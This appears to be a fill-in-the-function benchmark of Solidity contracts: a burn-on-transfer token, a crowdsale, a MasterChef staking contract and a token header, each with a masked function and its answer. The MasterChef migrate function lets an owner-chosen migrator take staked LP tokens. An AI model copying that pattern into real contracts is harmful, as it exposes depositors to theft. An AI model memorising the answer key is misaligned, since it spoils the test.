_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} |
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findThreePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
| function transfer(address to, uint256 value) public returns (bool) | function transfer(address to, uint256 value) public returns (bool) |
64722 | newCrowdsale | pauseCrowdsale | contract newCrowdsale is Ownable {
// safe math library
using SafeMath for uint256;
// start and end timestamps of ICO (both inclusive)
uint256 public startTime;
uint256 public endTime;
// to maintain a list of owners and their specific equity percentages
mapping(address=>uint256) public ownerAddresses; //note that the first one would always be the major owner
address[] owners;
uint256 public majorOwnerShares = 100;
uint256 public minorOwnerShares = 10;
uint256 public coinPercentage = 5;
uint256 share = 10;
// how many token units a buyer gets per eth
uint256 public rate = 650;
// amount of raised money in wei
uint256 public weiRaised;
bool public isCrowdsaleStopped = false;
bool public isCrowdsalePaused = false;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// The token that would be sold using this contract(Arm here)
Arm public token;
function newCrowdsale(address _walletMajorOwner) public
{
token = Arm(0x387890e71A8B7D79114e5843D6a712ea474BA91c);
//_daysToStart = _daysToStart * 1 days;
startTime = now;
endTime = startTime + 90 days;
require(endTime >= startTime);
require(_walletMajorOwner != 0x0);
ownerAddresses[_walletMajorOwner] = majorOwnerShares;
owners.push(_walletMajorOwner);
owner = _walletMajorOwner;
}
// fallback function can be used to buy tokens
function () public payable {
buy(msg.sender);
}
function buy(address beneficiary) public payable
{
require (isCrowdsaleStopped != true);
require (isCrowdsalePaused != true);
require ((msg.value) <= 2 ether);
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary,tokens);
uint partnerCoins = tokens.mul(coinPercentage);
partnerCoins = partnerCoins.div(100);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds(partnerCoins);
}
// send ether to the fund collection wallet(s)
function forwardFunds(uint256 partnerTokenAmount) internal {
for (uint i=0;i<owners.length;i++)
{
uint percent = ownerAddresses[owners[i]];
uint amountToBeSent = msg.value.mul(percent);
amountToBeSent = amountToBeSent.div(100);
owners[i].transfer(amountToBeSent);
if (owners[i]!=owner && ownerAddresses[owners[i]]>0)
{
token.transfer(owners[i],partnerTokenAmount);
}
}
}
/**
* function to add a partner
* can only be called by the major/actual owner wallet
**/
function addPartner(address partner, uint share) public onlyOwner {
require(partner != 0x0);
require(ownerAddresses[owner] >=20);
require(ownerAddresses[partner] == 0);
owners.push(partner);
ownerAddresses[partner] = share;
uint majorOwnerShare = ownerAddresses[owner];
ownerAddresses[owner] = majorOwnerShare.sub(share);
}
/**
* function to remove a partner
* can only be called by the major/actual owner wallet
**/
function removePartner(address partner) public onlyOwner {
require(partner != 0x0);
require(ownerAddresses[partner] > 0);
require(ownerAddresses[owner] <= 90);
uint share_remove = ownerAddresses[partner];
ownerAddresses[partner] = 0;
uint majorOwnerShare = ownerAddresses[owner];
ownerAddresses[owner] = majorOwnerShare.add(share_remove);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
function showMyTokenBalance(address myAddress) public returns (uint256 tokenBalance) {
tokenBalance = token.balanceOf(myAddress);
}
/**
* function to change the end date of the ICO
**/
function setEndDate(uint256 daysToEndFromToday) public onlyOwner returns(bool) {
daysToEndFromToday = daysToEndFromToday * 1 days;
endTime = now + daysToEndFromToday;
}
/**
* function to set the new price
* can only be called from owner wallet
**/
function setPriceRate(uint256 newPrice) public onlyOwner returns (bool) {
rate = newPrice;
}
/**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public onlyOwner returns(bool) {<FILL_FUNCTION_BODY> }
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
* if the crowdsale has been stopped, this function would not resume it
**/
function resumeCrowdsale() public onlyOwner returns (bool) {
isCrowdsalePaused = false;
}
/**
* function to stop the crowdsale
* can only be called from the owner wallet
**/
function stopCrowdsale() public onlyOwner returns (bool) {
isCrowdsaleStopped = true;
}
/**
* function to start the crowdsale manually
* can only be called from the owner wallet
* this function can be used if the owner wants to start the ICO before the specified start date
* this function can also be used to undo the stopcrowdsale, in case the crowdsale is stopped due to human error
**/
function startCrowdsale() public onlyOwner returns (bool) {
isCrowdsaleStopped = false;
startTime = now;
}
/**
* Shows the remaining tokens in the contract i.e. tokens remaining for sale
**/
function tokensRemainingForSale(address contractAddress) public returns (uint balance) {
balance = token.balanceOf(contractAddress);
}
/**
* function to show the equity percentage of an owner - major or minor
* can only be called from the owner wallet
**/
/** function checkOwnerShare (address owner) public onlyOwner constant returns (uint share) {
share = ownerAddresses[owner];
}**/
/**
* function to change the coin percentage awarded to the partners
* can only be called from the owner wallet
**/
function changePartnerCoinPercentage(uint percentage) public onlyOwner {
coinPercentage = percentage;
}
/*function changePartnerShare(address partner, uint new_share) public onlyOwner {
if
ownerAddresses[partner] = new_share;
ownerAddresses[owner]=
}*/
function destroy() onlyOwner public {
// Transfer tokens back to owner
uint256 balance = token.balanceOf(this);
assert(balance > 0);
token.transfer(owner, balance);
// There should be no ether in the contract but just in case
selfdestruct(owner);
}
} | contract newCrowdsale is Ownable {
// safe math library
using SafeMath for uint256;
// start and end timestamps of ICO (both inclusive)
uint256 public startTime;
uint256 public endTime;
// to maintain a list of owners and their specific equity percentages
mapping(address=>uint256) public ownerAddresses; //note that the first one would always be the major owner
address[] owners;
uint256 public majorOwnerShares = 100;
uint256 public minorOwnerShares = 10;
uint256 public coinPercentage = 5;
uint256 share = 10;
// how many token units a buyer gets per eth
uint256 public rate = 650;
// amount of raised money in wei
uint256 public weiRaised;
bool public isCrowdsaleStopped = false;
bool public isCrowdsalePaused = false;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// The token that would be sold using this contract(Arm here)
Arm public token;
function newCrowdsale(address _walletMajorOwner) public
{
token = Arm(0x387890e71A8B7D79114e5843D6a712ea474BA91c);
//_daysToStart = _daysToStart * 1 days;
startTime = now;
endTime = startTime + 90 days;
require(endTime >= startTime);
require(_walletMajorOwner != 0x0);
ownerAddresses[_walletMajorOwner] = majorOwnerShares;
owners.push(_walletMajorOwner);
owner = _walletMajorOwner;
}
// fallback function can be used to buy tokens
function () public payable {
buy(msg.sender);
}
function buy(address beneficiary) public payable
{
require (isCrowdsaleStopped != true);
require (isCrowdsalePaused != true);
require ((msg.value) <= 2 ether);
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary,tokens);
uint partnerCoins = tokens.mul(coinPercentage);
partnerCoins = partnerCoins.div(100);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds(partnerCoins);
}
// send ether to the fund collection wallet(s)
function forwardFunds(uint256 partnerTokenAmount) internal {
for (uint i=0;i<owners.length;i++)
{
uint percent = ownerAddresses[owners[i]];
uint amountToBeSent = msg.value.mul(percent);
amountToBeSent = amountToBeSent.div(100);
owners[i].transfer(amountToBeSent);
if (owners[i]!=owner && ownerAddresses[owners[i]]>0)
{
token.transfer(owners[i],partnerTokenAmount);
}
}
}
/**
* function to add a partner
* can only be called by the major/actual owner wallet
**/
function addPartner(address partner, uint share) public onlyOwner {
require(partner != 0x0);
require(ownerAddresses[owner] >=20);
require(ownerAddresses[partner] == 0);
owners.push(partner);
ownerAddresses[partner] = share;
uint majorOwnerShare = ownerAddresses[owner];
ownerAddresses[owner] = majorOwnerShare.sub(share);
}
/**
* function to remove a partner
* can only be called by the major/actual owner wallet
**/
function removePartner(address partner) public onlyOwner {
require(partner != 0x0);
require(ownerAddresses[partner] > 0);
require(ownerAddresses[owner] <= 90);
uint share_remove = ownerAddresses[partner];
ownerAddresses[partner] = 0;
uint majorOwnerShare = ownerAddresses[owner];
ownerAddresses[owner] = majorOwnerShare.add(share_remove);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
function showMyTokenBalance(address myAddress) public returns (uint256 tokenBalance) {
tokenBalance = token.balanceOf(myAddress);
}
/**
* function to change the end date of the ICO
**/
function setEndDate(uint256 daysToEndFromToday) public onlyOwner returns(bool) {
daysToEndFromToday = daysToEndFromToday * 1 days;
endTime = now + daysToEndFromToday;
}
/**
* function to set the new price
* can only be called from owner wallet
**/
function setPriceRate(uint256 newPrice) public onlyOwner returns (bool) {
rate = newPrice;
}
<FILL_FUNCTION>
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
* if the crowdsale has been stopped, this function would not resume it
**/
function resumeCrowdsale() public onlyOwner returns (bool) {
isCrowdsalePaused = false;
}
/**
* function to stop the crowdsale
* can only be called from the owner wallet
**/
function stopCrowdsale() public onlyOwner returns (bool) {
isCrowdsaleStopped = true;
}
/**
* function to start the crowdsale manually
* can only be called from the owner wallet
* this function can be used if the owner wants to start the ICO before the specified start date
* this function can also be used to undo the stopcrowdsale, in case the crowdsale is stopped due to human error
**/
function startCrowdsale() public onlyOwner returns (bool) {
isCrowdsaleStopped = false;
startTime = now;
}
/**
* Shows the remaining tokens in the contract i.e. tokens remaining for sale
**/
function tokensRemainingForSale(address contractAddress) public returns (uint balance) {
balance = token.balanceOf(contractAddress);
}
/**
* function to show the equity percentage of an owner - major or minor
* can only be called from the owner wallet
**/
/** function checkOwnerShare (address owner) public onlyOwner constant returns (uint share) {
share = ownerAddresses[owner];
}**/
/**
* function to change the coin percentage awarded to the partners
* can only be called from the owner wallet
**/
function changePartnerCoinPercentage(uint percentage) public onlyOwner {
coinPercentage = percentage;
}
/*function changePartnerShare(address partner, uint new_share) public onlyOwner {
if
ownerAddresses[partner] = new_share;
ownerAddresses[owner]=
}*/
function destroy() onlyOwner public {
// Transfer tokens back to owner
uint256 balance = token.balanceOf(this);
assert(balance > 0);
token.transfer(owner, balance);
// There should be no ether in the contract but just in case
selfdestruct(owner);
}
} |
isCrowdsalePaused = true;
| function pauseCrowdsale() public onlyOwner returns(bool) | /**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public onlyOwner returns(bool) |
7981 | MasterChef | migrate | contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of CYNs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accCynPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accCynPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CYNs to distribute per block.
uint256 lastRewardBlock; // Last block number that DIFs distribution occurs.
uint256 accCynPerShare; // Accumulated CYNs per share, times 1e12. See below.
}
// The CYN TOKEN!
CynToken public cyn;
// Dev address.
address public devaddr;
// weth address.
address public weth;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
// The block number when CYN mining starts.
uint256 public startBlock;
uint256 public capacity = 1000000000 * 10**18;
uint256 public totalSupply = 0;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
CynToken _cyn,
address _devaddr,
uint256 _startBlock,
address _weth
) public {
cyn = _cyn;
devaddr = _devaddr;
startBlock = _startBlock;
weth = _weth;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCynPerShare: 0
}));
}
function setCapacity(uint256 _capacity) public onlyOwner {
require(_capacity > totalSupply, "New capacity must be larger than totalSupply");
capacity = _capacity;
}
// Update the given pool's CYN allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {<FILL_FUNCTION_BODY> }
// View function to see pending CYNs on frontend.
function pendingSushi(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
// Stack too deep, try removing local variables.
// UserInfo storage user = userInfo[_pid][_user];
uint256 accCynPerShare = pool.accCynPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
//uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
//uint256 cynReward = multiplier.mul(cynPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
// IUniswapV2Pair pair = IUniswapV2Pair(address(pool.lpToken));
// if (address(pair) == address(0)) {
// return 0;
// }
// address token0 = pair.token0();
// address token1 = pair.token1();
// if (token0 != weth && token1 != weth)
// {
// return 0;
// }
// (uint reserve0, uint reserve1,) = pair.getReserves();
// uint reserveEth = token0 == weth ? reserve0 : reserve1;
uint lptokenAmount = getLptokenAmount(pool.lpToken ,lpSupply);
uint256 cynReward = MintRewardLibrary.getReward(lptokenAmount).mul(block.number.sub(pool.lastRewardBlock)).mul(pool.allocPoint).div(100);
if (cynReward.add(totalSupply) > capacity) {
cynReward = capacity.sub(totalSupply);
}
accCynPerShare = accCynPerShare.add(cynReward.mul(1e12).div(lpSupply));
}
return userInfo[_pid][_user].amount.mul(accCynPerShare).div(1e12).sub(userInfo[_pid][_user].rewardDebt);
}
function getLptokenAmount(IERC20 lpToken, uint256 lpSupply) internal view returns (uint256) {
IUniswapV2Pair pair = IUniswapV2Pair(address(lpToken));
if (address(pair) == address(0)) {
return 0;
}
address token0 = pair.token0();
address token1 = pair.token1();
if (token0 != weth && token1 != weth)
{
return 0;
}
(uint reserve0, uint reserve1,) = pair.getReserves();
uint reserveEth = token0 == weth ? reserve0 : reserve1;
return reserveEth.mul(2).mul(lpSupply).div(pair.totalSupply());
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
//uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
//uint256 cynReward = multiplier.mul(cynPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
IUniswapV2Pair pair = IUniswapV2Pair(address(pool.lpToken));
if (address(pair) == address(0)) {
return;
}
address token0 = pair.token0();
address token1 = pair.token1();
if (token0 != weth && token1 != weth)
{
pool.lastRewardBlock = block.number;
return;
}
(uint reserve0, uint reserve1,) = pair.getReserves();
uint reserveEth = token0 == weth ? reserve0 : reserve1;
uint256 libAmount = MintRewardLibrary.getReward(reserveEth.mul(2).mul(lpSupply).div(pair.totalSupply()));
uint256 cynReward = libAmount.mul(block.number.sub(pool.lastRewardBlock)).mul(pool.allocPoint).div(100);
if (cynReward.add(totalSupply) > capacity) {
cynReward = capacity.sub(totalSupply);
}
if (cynReward == 0) {
pool.lastRewardBlock = block.number;
return ;
}
cyn.mint(devaddr, cynReward.div(10));
cyn.mint(address(this), cynReward);
// mining for devaddr is additional, don't count
totalSupply = totalSupply.add(cynReward);
pool.accCynPerShare = pool.accCynPerShare.add(cynReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for CYN allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCynPerShare).div(1e12).sub(user.rewardDebt);
safeCynTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accCynPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accCynPerShare).div(1e12).sub(user.rewardDebt);
safeCynTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accCynPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe cyn transfer function, just in case if rounding error causes pool to not have enough CYNs.
function safeCynTransfer(address _to, uint256 _amount) internal {
uint256 cynBal = cyn.balanceOf(address(this));
if (_amount > cynBal) {
cyn.transfer(_to, cynBal);
} else {
cyn.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} | contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of CYNs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accCynPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accCynPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CYNs to distribute per block.
uint256 lastRewardBlock; // Last block number that DIFs distribution occurs.
uint256 accCynPerShare; // Accumulated CYNs per share, times 1e12. See below.
}
// The CYN TOKEN!
CynToken public cyn;
// Dev address.
address public devaddr;
// weth address.
address public weth;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
// The block number when CYN mining starts.
uint256 public startBlock;
uint256 public capacity = 1000000000 * 10**18;
uint256 public totalSupply = 0;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
CynToken _cyn,
address _devaddr,
uint256 _startBlock,
address _weth
) public {
cyn = _cyn;
devaddr = _devaddr;
startBlock = _startBlock;
weth = _weth;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCynPerShare: 0
}));
}
function setCapacity(uint256 _capacity) public onlyOwner {
require(_capacity > totalSupply, "New capacity must be larger than totalSupply");
capacity = _capacity;
}
// Update the given pool's CYN allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
<FILL_FUNCTION>
// View function to see pending CYNs on frontend.
function pendingSushi(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
// Stack too deep, try removing local variables.
// UserInfo storage user = userInfo[_pid][_user];
uint256 accCynPerShare = pool.accCynPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
//uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
//uint256 cynReward = multiplier.mul(cynPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
// IUniswapV2Pair pair = IUniswapV2Pair(address(pool.lpToken));
// if (address(pair) == address(0)) {
// return 0;
// }
// address token0 = pair.token0();
// address token1 = pair.token1();
// if (token0 != weth && token1 != weth)
// {
// return 0;
// }
// (uint reserve0, uint reserve1,) = pair.getReserves();
// uint reserveEth = token0 == weth ? reserve0 : reserve1;
uint lptokenAmount = getLptokenAmount(pool.lpToken ,lpSupply);
uint256 cynReward = MintRewardLibrary.getReward(lptokenAmount).mul(block.number.sub(pool.lastRewardBlock)).mul(pool.allocPoint).div(100);
if (cynReward.add(totalSupply) > capacity) {
cynReward = capacity.sub(totalSupply);
}
accCynPerShare = accCynPerShare.add(cynReward.mul(1e12).div(lpSupply));
}
return userInfo[_pid][_user].amount.mul(accCynPerShare).div(1e12).sub(userInfo[_pid][_user].rewardDebt);
}
function getLptokenAmount(IERC20 lpToken, uint256 lpSupply) internal view returns (uint256) {
IUniswapV2Pair pair = IUniswapV2Pair(address(lpToken));
if (address(pair) == address(0)) {
return 0;
}
address token0 = pair.token0();
address token1 = pair.token1();
if (token0 != weth && token1 != weth)
{
return 0;
}
(uint reserve0, uint reserve1,) = pair.getReserves();
uint reserveEth = token0 == weth ? reserve0 : reserve1;
return reserveEth.mul(2).mul(lpSupply).div(pair.totalSupply());
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
//uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
//uint256 cynReward = multiplier.mul(cynPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
IUniswapV2Pair pair = IUniswapV2Pair(address(pool.lpToken));
if (address(pair) == address(0)) {
return;
}
address token0 = pair.token0();
address token1 = pair.token1();
if (token0 != weth && token1 != weth)
{
pool.lastRewardBlock = block.number;
return;
}
(uint reserve0, uint reserve1,) = pair.getReserves();
uint reserveEth = token0 == weth ? reserve0 : reserve1;
uint256 libAmount = MintRewardLibrary.getReward(reserveEth.mul(2).mul(lpSupply).div(pair.totalSupply()));
uint256 cynReward = libAmount.mul(block.number.sub(pool.lastRewardBlock)).mul(pool.allocPoint).div(100);
if (cynReward.add(totalSupply) > capacity) {
cynReward = capacity.sub(totalSupply);
}
if (cynReward == 0) {
pool.lastRewardBlock = block.number;
return ;
}
cyn.mint(devaddr, cynReward.div(10));
cyn.mint(address(this), cynReward);
// mining for devaddr is additional, don't count
totalSupply = totalSupply.add(cynReward);
pool.accCynPerShare = pool.accCynPerShare.add(cynReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for CYN allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCynPerShare).div(1e12).sub(user.rewardDebt);
safeCynTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accCynPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accCynPerShare).div(1e12).sub(user.rewardDebt);
safeCynTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accCynPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe cyn transfer function, just in case if rounding error causes pool to not have enough CYNs.
function safeCynTransfer(address _to, uint256 _amount) internal {
uint256 cynBal = cyn.balanceOf(address(this));
if (_amount > cynBal) {
cyn.transfer(_to, cynBal);
} else {
cyn.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} |
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
| function migrate(uint256 _pid) public | // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public |
91968 | FlokiShibaInu | transfer | contract FlokiShibaInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
